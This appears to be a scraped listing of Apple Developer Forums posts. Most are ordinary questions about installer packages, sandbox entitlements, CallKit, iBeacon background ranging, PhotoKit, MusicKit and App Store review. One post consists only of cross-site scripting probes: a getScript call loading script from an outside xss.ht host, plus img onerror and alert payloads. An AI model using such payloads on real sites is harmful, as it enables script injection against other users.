Welcome to the Apple Developer Forums

Post your questions, exchange knowledge, and connect with fellow developers and Apple engineers on a variety of software development topics.

For questions about using Apple hardware and services, visit Apple Support Communities

Posts

Sort by:
Post not yet marked as solved
0 Replies
1 Views
I'm having strange issues trying to install a package I've created when a different version of the application already exists in /Applications The installer throws an error about the postinstall script failing, seemingly because the last thing that script tries to do is call "open /Applications/App Name.app" which appears to be failing because the application is mistakenly being installed to "/Applications/App Name.localized/App Name.app" I can't figure out why this is happening during the installation and a follow-up attempt to install the same package succeeds because that time the application properly gets installed to "/Applications/App Name.app" Here are some background & details: In previous releases of this app, there were some issues I believe were related to relocation so since then the I added a preinstall script to the installation package that first checks for the existence of "/Applications/App Name.app" & removes it should it be found Here is how the package is being built: #!/bin/bash IDENTITY_NAME_APPLICATION="Developer ID Application: COMPANY NAME LLC" IDENTITY_NAME_INSTALLER="Developer ID Installer: COMPANY NAME LLC" TMPDIR="./tmp" RAWAPP="App Name.app" APP_PLIST="./plist/com.corp.appname.plist" PKGNAME="App_Name.pkg" echo "Setup tmp directory: ${TMPDIR}" rm -rf ${TMPDIR} mkdir -p ${TMPDIR}/root/Applications mkdir -p ${TMPDIR}/root/Library/LaunchDaemons if [ ! -d "./Raw App/${RAWAPP}" ]; then echo "ERROR: could not find ./Raw App/${RAWAPP}" exit 1 fi cp -r "./Raw App/${RAWAPP}" ${TMPDIR}/root/Applications cp -r "${APP_PLIST}" ${TMPDIR}/root/Library/LaunchDaemons echo "Codesigning the app bundle" codesign \ --options runtime \ --timestamp --deep \ -s "$IDENTITY_NAME_APPLICATION" \ "${TMPDIR}/root/Applications/${RAWAPP}" echo "Creating a codesigned installer" pkgbuild \ --sign "$IDENTITY_NAME_INSTALLER" \ --root "${TMPDIR}/root" \ --component-plist "./plist/appname_component.plist" \ --scripts ./scripts \ ${TMPDIR}/AppNameComponent.pkg productbuild \ --sign "$IDENTITY_NAME_INSTALLER" \ --package ${TMPDIR}/AppNameComponent.pkg \ ${TMPDIR}/${PKGNAME} echo "Clean up" rm -r ${TMPDIR}/root ${TMPDIR}/AppNameComponent.pkg echo "Final codesigned pkg: ${TMPDIR}/${PKGNAME}"
Posted
by
Post not yet marked as solved
0 Replies
6 Views
As a followup to this question... I have a parent app and an embedded child app. This child does nothing but open a WKWebView to a public URL as a test case. In development I have the debug entitlements for Child.app to include: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict>         <key>com.apple.security.app-sandbox</key>         <true/>         <key>com.apple.security.network.client</key>         <true/> </dict> </plist> Building and running Child.app does as expected (opens a view and displays a public website). Embedding this Child.app I have the entitlements set in Release as: <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict>         <key>com.apple.security.app-sandbox</key>         <true/>         <key>com.apple.security.inherit</key>         <true/> </dict> </plist> The parent app that embeds Child.app has these entitlements: <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict>         <key>com.apple.developer.networking.networkextension</key>         <array>                 <string>packet-tunnel-provider</string>         </array>         <key>com.apple.security.app-sandbox</key>         <true/>         <key>com.apple.security.application-groups</key>         <array>                 <string>group.com.foo</string>         </array>         <key>com.apple.security.automation.apple-events</key>         <true/>         <key>com.apple.security.cs.allow-unsigned-executable-memory</key>         <true/>         <key>com.apple.security.cs.disable-library-validation</key>         <true/>         <key>com.apple.security.device.audio-input</key>         <true/>         <key>com.apple.security.device.bluetooth</key>         <true/>         <key>com.apple.security.device.camera</key>         <true/>         <key>com.apple.security.network.client</key>         <true/>         <key>com.apple.security.network.server</key>         <true/> </dict> </plist> My understanding is that Child.app would inherit all of these entitlements and thus be able to open a website. When I dump the entitlements of what gets installed via TestFlight I can confirm the entitlements are as I expect: Executable=/Applications/Foo One.app/Contents/MacOS/Child.app/Contents/MacOS/Child Warning: Specifying ':' in the path is deprecated and will not work in a future release <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>beta-reports-active</key><true/><key>com.apple.application-identifier</key><string>367***NY2.com.foo.Child</string><key>com.apple.developer.team-identifier</key><string>367***NY2</string><key>com.apple.security.app-sandbox</key><true/><key>com.apple.security.inherit</key><true/></dict> I watch Console to see if anything jumps out at me but I don't see any errors yet Child.app displays a blank WKWebView and never even seems to try to connect to the URL.
Posted
by
Post not yet marked as solved
0 Replies
8 Views
Hello, I'm trying to test the integration of CallKit on the new WatchOS9. I'm using XCode 14 beta 3 and I started to implement the integration using the SpeakerBox sample code as a base. I created a new Apple Watch app and added CallKit, however, I'm running into an issue when trying to start a call. After calling the function request(_ transaction: CXTransaction, completion: @escaping (Error?) -> Void) on CXCallController I get this error: Error requesting transaction: The operation couldn’t be completed. (com.apple.CallKit.error.requesttransaction error 1.) After reading the documentation it looks like this error code means that the app doesn't have the entitlements. I went ahead and added them to the watch app and to the companion iOS app. Even after doing that, the issue persists. What else can I do to sort this out?
Posted
by
Post not yet marked as solved
2 Replies
13 Views
">">"><"<".csv $.getScript("//telavivhacker.xss.ht").csv ">.csv log-file B ">.csv f log-file log-file "<img/src/onerror=prompt(8)>.csv;alert(1)
Posted
by
Post not yet marked as solved
0 Replies
17 Views
Hello I'm building an indoor geofencing app with iBeacons. I want to detect each time a user approaches a beacon and the distance and save this data with Core Data only if the distance (proximity) to the iBeacon is close. I am using Core Location to do this but I am not using the didEnter / didExit functions as they do not provide the distance to the beacon. I am mainly using the didRange function from locationManager to get all the beacons, find the closest one and its distance. This approach works perfectly while the app is in the foreground. However, the app starts not working properly in the background. If I just change the app, the didRange function stops working, but if I lock the phone and look at the time on the lock screen, it starts working. The problem is not that the app does not work in the background, but that the functions are activated only in specific cases or times, eg. the phone is locked. I added these properties in the info.plist Privacy - Location When In Use Usage Description Privacy - Location Always and When In Use Usage Description Required background modes: Location updates I also added this code: locationManager.delegate = self locationManager.allowsBackgroundLocationUpdates = true locationManager.pausesLocationUpdatesAutomatically = false This is how I add a beacon and start monitoring it: func addBeacon(id: String, major: Int16 = 0, minor: Int16 = 0) { guard let uuid = UUID(uuidString: id) else { return } let region = CLBeaconRegion(uuid: uuid, major: CLBeaconMajorValue(major), minor: CLBeaconMinorValue(minor), identifier: id + major.description + minor.description) region.notifyOnEntry = true region.notifyOnExit = true region.notifyEntryStateOnDisplay = true self.locationManager.startMonitoring(for: region) resetValues() } func locationManager(_ manager: CLLocationManager, didDetermineState state: CLRegionState, for region: CLRegion) { let beaconRegion = region as! CLBeaconRegion if state == .inside { // Start ranging when inside a region. manager.startRangingBeacons(satisfying: beaconRegion.beaconIdentityConstraint) } else { // Stop ranging when not inside a region. manager.stopRangingBeacons(satisfying: beaconRegion.beaconIdentityConstraint) } } I am also making sure that locationManager.requestAlwaysAuthorization() is always true Do you have any ideas why it is not always working in the background? Thanks for your time.
Posted
by
Post not yet marked as solved
0 Replies
16 Views
In the case where an app uses the Photo Library to reload images by using a fetchRequest with localIdentifier there is hole in the following guidance in WWDC21 "Improve access to Photos in your app" "When the picker session is completed, selected photos will be returned to your app. Suppose the configuration is initialized with a PHPhotoLibrary object, picker results will contain both item providers and asset identifiers. Your app can use the item provider to load and display selected photos." The picker result providers do not load the image if the image is not in the limited library list, even though the user has selected them with the PHPicker. It looks like the workaround is to raise a user error that the image is not loaded because it is not in the limited selection, then do the PHPhotoLibrary.shared().presentLimitedLibraryPicker so the limited selection is the way the user wants it. This workaround seems like an awful thing to do to the user since they have to pick the same photo(s) twice.. Also - this scenario works fine with the PHPickerDemo because privacy setting for the demo is not added in settings.. Presumably because PHPickerDemo is not directly using the PhotoKit API methods. Any thoughts or workaround alternatives that you see? Or raise a bug? Thanks!!
Posted
by
Post not yet marked as solved
0 Replies
16 Views
Hi, Please see my code below: `   func configureRequestButton() {         let button = UIButton()         button.setTitle("Test", for: .normal)         button.setTitleColor(.systemBlue,for: .normal)         button.addTarget(self,                          action: #selector(button), <---- need the fuction to execute here                          for: .touchUpInside)         StackView.addArrangedSubview(button)     }               func requestMusicAuthorization() async throws {                  let authorizationStatus = await MusicAuthorization.request()         if authorizationStatus == .authorized {             isAuthorizedForMusicKit = true         } else {             // User denied permission.         }     }```` So I need to basically call that request music authorisation function in that test button but every time I do it says you have to conform it to object c if I do it crashes the app. I have done the Plist stuff. I am using UIKIt programmatically coding the UI. Can someone help because most of the api docs is based for swifUI for music kit.
Posted
by
Post not yet marked as solved
0 Replies
13 Views
Hey! I work for a company based out of the US office and we would love to speak with anyone that has prior experience with customer support software. My team is working on research and would love to hear what your personal experiences have been while building software such as ZenDesk and LiveChat
Posted
by
Post not yet marked as solved
0 Replies
13 Views
Hey, I'm trying to use the Google services in my MERN project. like (google authentication, send mail by nodemailer with google) but it's working for all devices except the IOS devices in the USA. I tried to inspect the response with the Safari web inspector and got this response. How can I fix this issue?
Posted
by
Post not yet marked as solved
1 Replies
22 Views
We are developing an iOS app for our Computer Aided Dispatch system which is used by dozens of major police and other first responder agencies in the US. One of the required functionalities is that the device provide very frequent position updates, even when in the background (requirement is every 5 seconds, might be able to talk it down a bit...). Among other reasons, this is so an officer on foot would accurately appear on the maps of other officers. This data is critical to assisting the officers in (for example) not accidentally shooting each other by accident.   We also very much would like to keep a websocket open even when in the background as well, as this is used to keep the device up to date on the positions of the other officers, so that the map is up to date when they return to the app.  We understand this is going to be a major hit to battery life (especially frequent GPS updates), but the agencies understand this and are willing to deal with it in order to support these life-critical functionalities. Is there any way to enable this, or are we totally out of luck. The inability to do this is going to present our iOS app in a very bad light compared against the Android version.
Posted
by
Post not yet marked as solved
1 Replies
14 Views
Hi, Looking for an option to get rid of empty tab bar on top of the subject template. it takes a lot of screen estate and i don't plan to use it for app functionality. It is marked with red on the picture. As per documentation here: Link1 there is nothing about the tabs. However in CarPlay programming guide Carplay it seems like the template doesn't have this top tab: where is the truth? can it be hidden? Thank you!
Posted
by
Post not yet marked as solved
0 Replies
12 Views
Following the instructions here: https://developer.apple.com/metal/tensorflow-plugin/ When I do the step: conda install -c apple tensorflow-deps I get: Downloading and Extracting Packages tensorflow-deps-2.9. | 3 KB      |                                                            |   0%  CondaHTTPError: HTTP 403 FORBIDDEN for url https://conda.anaconda.org/apple/osx-arm64/tensorflow-deps-2.9.0-0.tar.bz2 Elapsed: 00:00.362533 CF-RAY: 72dd062a7a7cae2a-BOS An HTTP error occurred when trying to retrieve this URL. HTTP errors are often intermittent, and a simple retry will get you on your way. I tried downloading it using curl and the browser and got the same problem. It appears that the version prior to 2.8 are there, but 2.8 and 2.9 give the same error. Any advice?
Posted
by
Post not yet marked as solved
0 Replies
19 Views
Hello dear community, I am reaching out to your as I am building an app that works very well on Expo client, for which I achieve to build on iOS, but when launching it on Testflight, the app instantly crashes with the crash report attached. Any help would be more than welcome. 2022-07-20_18-13-57.1538_+0200-161cd0da9ad5819b162a525b4e08056dddff1e65.crash
Posted
by
Post not yet marked as solved
0 Replies
12 Views
Hi, One application I'm maintaining crashes on iOS16 beta 3 with an exception "Supported orientations has no common orientation with the application, and [UIAlertController shouldAutorotate] is returning YES". I'm running out of ideas how totrace down the reason. It only happens when the Main Thread checker is enabled it happens even if I display the alertcontroller totally early in applicationDidFinishLaunching a new setup sample with pretty much identical code (see below) until applicationDidFinishLaunching (and main.xib) does not throw the exception regardless of the Main Thread checker state I validated the build settings are identical between the sample and the crashing app #import "OCViewController.h" @interface OCAppDelegate: NSObject <UIApplicationDelegate> @property (nonatomic, readwrite, strong) IBOutlet UIWindow                  *window; @property (nonatomic, readwrite, strong) IBOutlet UINavigationController    *navigationController; @end int main(int argc, char * argv[]) {     @autoreleasepool {         return UIApplicationMain(argc, argv, nil, NSStringFromClass([OCAppDelegate class]));     } } @implementation OCAppDelegate - (void)applicationDidFinishLaunching:(UIApplication *)application {     OCViewController *vc = [OCViewController new];     self.window.rootViewController = vc;     [self.window makeKeyAndVisible];     [vc showAlert]; } @end @implementation OCViewController - (IBAction) showAlert {    UIAlertController *alertController = [UIAlertController alertControllerWithTitle:@"title" message:@"Test" preferredStyle:UIAlertControllerStyleAlert];    // NSLog( @"%@", [[[[UIApplication sharedApplication] keyWindow] rootViewController] valueForKey:@"_printHierarchy"] );    [alertController addAction:[UIAlertAction actionWithTitle:NSLocalizedString(@"OK", nil)                                                        style:UIAlertActionStyleDefault                                                      handler:^(UIAlertAction * _Nonnull action) {}                                ]     ];    [[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alertController animated:YES completion:nil]; } @end The backtrace is +[NSException raise:format:] + 112 -[UIViewController __supportedInterfaceOrientations] + 808 -[UIViewController __withSupportedInterfaceOrientation:apply:] + 48 -[UIViewController setInterfaceOrientation:] + 108 -[UIViewController viewDidMoveToWindow:shouldAppearOrDisappear:] + 268 -[UIView(Internal) _didMoveFromWindow:toWindow:] + 1232 -[UIView(Hierarchy) _postMovedFromSuperview:]_block_invoke + 112 -[NSISEngine withBehaviors:performModifications:] + 84 -[UIView _postMovedFromSuperview:] + 672 -[UIView(Internal) _addSubview:positioned:relativeTo:] + 1904 -[_UIAlertControllerPresentationController presentationTransitionWillBegin] + 148 __80-[UIPresentationController _initViewHierarchyForPresentationSuperview:inWindow:]_block_invoke + 2008 [....]
Posted
by
Post not yet marked as solved
0 Replies
18 Views
Hey there everyone, I finally got a multicolumn table implemented with what I wanted after looking through the code sample provided here, but now I am having some issues with how the data is displayed. At first, everything displays correctly and fields update as they should, but whenever I scroll, the data does not present it itself as it should, in other words cells that should have remain one value end up changing or zeroing out, which affects the column holding a running total. The application, which is a checkbook ledger application, holds its data in an SQLite database and when I view the database, the values there have changes as well, which forces me to import a previous SQL dump to get everything back, only to experience the issue again. When I go back to an old version of the application, which has a hideous UI, however, scrolling does not modify anything. Does anybody know how to deal with this little problem? If you would like to see what I have already, here is the source code as it currently is. https://github.com/bryceac/BCheckbook/tree/macTable
Posted
by
Post not yet marked as solved
1 Replies
27 Views
I am doing localization using NSLocalizedString and it has issues when there is a number in line with a string. For example, when on a local build, String.localizedStringWithFormat("Points: %d”, 62) would return "Points: 62", but on the TestFlight build it returns "Points: -2,114,563,680".  All numbers behave this way with a different -2 billion number representing the number on screen.
Posted
by
Post not yet marked as solved
0 Replies
12 Views
Running Ventura 13.0, iOS 16.0, and iPad OS 16.9 - all latest developer betas. Play counts are not syncing between the devices. I've turned off/on library on all three devices. I've restarted Music app on all three devices. I've forced library sync, and rebooted. Play count is currently not working.
Posted
by
Post not yet marked as solved
0 Replies
36 Views
**I am trying to upload my app to App Store Connect and am running into issues. I have submitted a build, and it was rejected and in the app review, the reviewer gave this report back. ** Guideline 2.1 - Performance - App Completeness We discovered one or more bugs in your app. Specifically, the “Get Started” button was not responsive. Review device details: Device type: iPad OS version: iOS 15.5 Next Steps Please run your app on a device to reproduce the issues, then revise and submit your app for review. If at first you're unable to reproduce the issue, try the following: For new apps, uninstall all previous versions of your app from a device, then install and follow the steps to reproduce. For app updates, install the new version as an update to the previous version, then follow the steps to reproduce. If we misunderstood the intended behavior of your app, please reply to this message in App Store Connect to provide information on how these features were intended to work. Resources For information about testing apps and preparing them for review, see Technical Note TN2431: App Testing Guide. To learn about troubleshooting networking issues, see About Networking. **Which led me to the forums here looking for assistance trying to figure out why my app isn't working on Apple'e side. I have tested the app at my organization. I have downloaded the app, via TestFlight, onto multiple Apple devices. I have tried iPhones and IPads, running iOS 15.5 (the same iOS version as mentioned in the reviewer's submissions). I have not ran into the issues they describe anywhere. What should I do now? I don't know how to test for this bug, and reviewer will not give any additional information, other than "it doesn't work". **
Posted
by
Learn More about - WWDC22.

Pinned Posts

Categories

See all